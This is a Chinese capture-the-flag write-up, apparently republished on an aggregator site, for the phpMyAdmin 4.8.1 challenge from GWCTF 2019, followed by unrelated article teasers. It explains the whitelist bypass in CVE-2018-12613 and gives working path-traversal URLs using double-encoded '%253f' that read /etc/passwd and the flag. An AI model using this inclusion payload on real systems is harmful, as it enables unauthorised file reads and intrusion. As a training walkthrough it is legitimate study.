[GWCTF 2019]我有一个数据库

news/2024/5/20 23:01:36/文章来源:https://blog.csdn.net/Yb_140/article/details/127278153

打开题目是乱码,好奇怪

御剑扫一下

扫到了phpmyadmin

版本为4.8.1

这个版本是有漏洞的(CVE-2018-12613),复现一下

部分源码:

$target_blacklist = array ('import.php', 'export.php'
);
​
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])
) {include $_REQUEST['target'];exit;
}

根据这几行代码可知要将$_REQUEST[‘target’]所表示的文件包含进来target参数需要满足以下5个条件:

1.不为空

2.是一个字符串

3.不能以index开头

4.不能在 $target_blacklist数组里面(即不能为import.php,export.php)

5.满足Core类里面的checkPageValidity()函数检查 前四个可以轻松绕过,来看看第五个条件

接着找它的checkPageValidity()函数

public static function checkPageValidity(&$page, array $whitelist = []){if (empty($whitelist)) {$whitelist = self::$goto_whitelist;}if (! isset($page) || !is_string($page)) {return false;}
​if (in_array($page, $whitelist)) {return true;}
​$_page = mb_substr($page,0,mb_strpos($page . '?', '?')  //查找字符串在另一字符串中的首次出现位置);if (in_array($_page, $whitelist)) {return true;}
​$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}
​return false;}

$whitelist 为空就调用$goto_whitelist;
$page 如果没有定义或者 $page 不为字符串就返回 false;
$page 如果存在在 $whitelist 中返回 true;
如果 $_page 存在在 $whitelist 中返回 true;
经过 urldecode 函数解码后的 $_page 存在在 $whitelist 中返回 true。

白名单$goto_whitelist:

 public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_multi_table_query.php','db_structure.php','db_import.php','db_operations.php','db_search.php','db_routines.php','export.php','import.php','index.php','pdf_pages.php','pdf_schema.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php','transformation_overview.php','transformation_wrapper.php','user_password.php',);

然后这个的绕过就是要利用url解码,先将?进行两次编码,两次编码的值就是%253f,第一次url解码是由服务器自动解码的,然后经过urldecode之后变为?截取前面的值,所以前面我们传入一个在白名单里的值

target参数只要不是黑名单中php文件就可以

尝试读取/etc/passwd文件

http://a55386e4-be0b-457b-8f80-d772886cccb8.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../etc/passwd

读取flag

http://a55386e4-be0b-457b-8f80-d772886cccb8.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_22236.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot统一处理返回格式

在对接第三方接口的时候,第三方接口返回格式形式为{"result":null,"status":1010},虽然返回了状态码,但是状态码对应的描述信息并没有携带,前端在使用的时候需要根据状态码返回一个友好的提示,如此…

刘韧:我每时每刻都会注意管理自己的知识

1. 担心总能让我积极行动起来。2. 要提早主动求变,不要等到被迫地、见招拆招地应变。3. 很多愚蠢的念头,都源于自己分内的事,却老想让别人负责,比如将自己的愿望寄托在子女身上。4. 推卸责任的同时,多少会对等地给予一…

ShardingSphere 5.2.0:分片审计功能拦截多分片场景下的不合理请求

一、背景Apache ShardingSphere 基于用户的实际使用场景,为用户打造了多种实用功能,包括数据分片、读写分离等。在数据分片功能中,我们发现有些用户涉及到的分片较多,一个分片逻辑表可能对应后端 1000 个物理表,这给用…

猿创征文 | 国产数据库实战之TiDB 数据库快速入门

猿创征文 | 国产数据库实战之TiDB 数据库快速入门一、系统检查1.检查系统版本2.查看本地IP地址3.TiDB集群介绍二、快速部署本地测试集群1.安装 TiUP工具2.声明全局环境变量3.快速部署TiDB 集群三、连接 TiDB 数据库1.新开一个session 以访问 TiDB 数据库2.通过Mysql客户端连接T…

SpringSecurity整合JWT+Oauth2认证

没写完&#xff0c;推荐下面的博客 推荐博客<查看pom依赖、数据库sql、实体类、数据映射>&#xff1a;SpringSecurity框架 推荐博客<查看SpringSecurity整合JWTOauth2认证>&#xff1a;SpringSecurity整合JWTOauth2认证 一 创建项目 测试浏览器&#xff1a;建议使用…

网课查题系统-公众号轻松调用方法

网课查题系统-公众号轻松调用方法 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 查题校园题库&#xff1a;查题校园题库后台&am…

Django ORM F对象和Q对象查询

Django ORM F对象和Q对象查询1.F对象查询2.Q对象查询Django提供了两个非常有用的工具&#xff1a;F对象和Q对象&#xff0c;方便了在一些特殊场景下的查询过程。 1.F对象查询 F对象用于操作数据库中某一列的值&#xff0c;它可以在没有实际访问数据库获取数据值的情况下对字段…

史上最简SLAM零基础解读(7) - Jacobian matrix(雅可比矩阵) → 理论分析与应用详解(Bundle Adjustment)

本人讲解关于slam一系列文章汇总链接:史上最全slam从零开始 文末正下方中心提供了本人联系方式&#xff0c;点击本人照片即可显示WX→官方认证{\color{blue}{文末正下方中心}提供了本人 \color{red} 联系方式&#xff0c;\color{blue}点击本人照片即可显示WX→官方认证}文末正…

基于微信小程序的毕业设计题目(23)php汽车维修保养小程序(含开题报告、任务书、中期报告、答辩PPT、论文模板)

项目背景和意义 目的&#xff1a;本课题主要目标是设计并能够实现一个基于微信汽车维修保养小程序系统&#xff0c;前台用户使用小程序&#xff0c;小程序使用微信开发者工具开发&#xff1b;后台管理使用基PPMySql的B/S架构&#xff0c;开发工具使用phpstorm&#xff1b;通过后…

毕业设计 单片机stm32智能路灯智能灯控系统 - LoRa远程通信

文章目录0 前言1 简介2 主要器件3 实现效果4 设计原理4.1 Lora模块4.2 DHT11温湿度传感器4.3 光照传感器5 部分核心代码6 最后0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&#xff0c;往往达不到毕业答辩…

springboot使用布隆过滤器——缓存穿透

目录 1.布隆过滤器原理 2.具体使用场景 3.springboot集成布隆过滤器 4.总结 1.布隆过滤器原理 布隆过滤器&#xff08;Bloom Filter&#xff09;是非常经典的以空间换时间的算法。它实际上是一个很长的二进制向量和一系列随机映射函数。布隆过滤器可以用于检索一个元素是否…

虹科分享 | 什么是深度数据包检测(DPI)

深度数据包检测 (DPI) 是一种分析通过网络发送的流量的高级方法。DPI 使用数据处理来检查数据包的特定细节&#xff0c;作为数据包过滤的一种形式。 虽然 DPI 用于查看 OSI 模型的第 2-7 层&#xff0c;但仅当设备可以查看并根据第 3 层或更高层采取行动时&#xff0c;它才被视…

rsync+inotify实时同步

查看主页俩篇 inotify、rsync 编写脚本实现inotify与rsync相结合 客户端 #!/bin/bash Path/root/rsync_data backup_Server192.168.80.132 /usr/bin/inotifywait -mrq --format %w%f -e create,close_write,delete $Path | while read line do if [ -f $line ];then rsync -…

7个最佳WordPress设计师和摄影师作品插件

您是一名设计师或摄影师&#xff0c;正在寻找在 WordPress 中构建作品网站的最简单方法吗&#xff1f; 微信扫描二维码用手机阅读或收藏 有很多WordPress作品插件&#xff0c;可让您轻松构建漂亮的作品网站。 但是&#xff0c;对于初学者来说&#xff0c;找到完美的作品插件插…

从深圳寄东西到加拿大,用什么快递比较好?

哪家快递好这个是没有定论的&#xff0c;合适自己的渠道才是好渠道&#xff0c;通常情况下&#xff0c;四大快递和EMS这些基本都是没什么大问题的。下面方联国际物流就来带大家了解一下从深圳寄东西到加拿大的几种主要方式。目前有4种方式运输到加拿大&#xff1a;专线、快递、…

MaxCompute 笛卡尔积逻辑的参数优化复杂JOIN逻辑优化

1. 优化概述 最近协助一个项目做下优化任务的工作。因为主要数据都是报表&#xff0c;对数对的昏天暗地的不敢随便调整SQL逻辑&#xff0c;所以本身只想做点参数调整&#xff0c;但是逼不得已后来还是改了一下SQL。 这篇文章主要讲一个SQL优化反映的两个优化点。分别是&#…

AC 自动机算法介绍

一 点睛 AC 自动机是 KMP 算法和 Trie 树的结合&#xff0c;是经典的多模匹配算法。首先将多个模式串构建一棵字典树&#xff0c;然后在字典树上添加失配指针&#xff0c;失配指针相当于 KMP 算法中的 next 函数&#xff08;匹配失败时的回退位置&#xff09;&#xff0c;最后…

用python实现猜数字游戏

实现思路电脑随机生成1~100的整数,让用户去猜,用户每猜一次程序都会做出相应的提示。若用户输入所猜的数字小于电脑随机生成的数字,则提示“你猜小了”;若大于,则提示“你猜大了”;若等于,则提示“恭喜你赢了”(一直猜直到猜对游戏结束也可以控制猜的次数)这里需要用到p…

公众号如何搭建查题功能-拥有单独的后台

公众号如何搭建查题功能-拥有单独的后台 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 题库&#xff1a;题库后台&#xff08;点…

Games104现代游戏引擎入门-lecture19 网络游戏的进阶架构

1 三大架构 unity向这个方向靠 虚幻引擎用的架构&#xff1a; 课程结构&#xff1a; 2 Character movement repication 角色位移的同步 1 插值 内插值和外插值 外插值:本质是预测&#xff0c; 1 内插值 把server来的状态搞到buffer中去&#xff0c; 内插的问题:两个…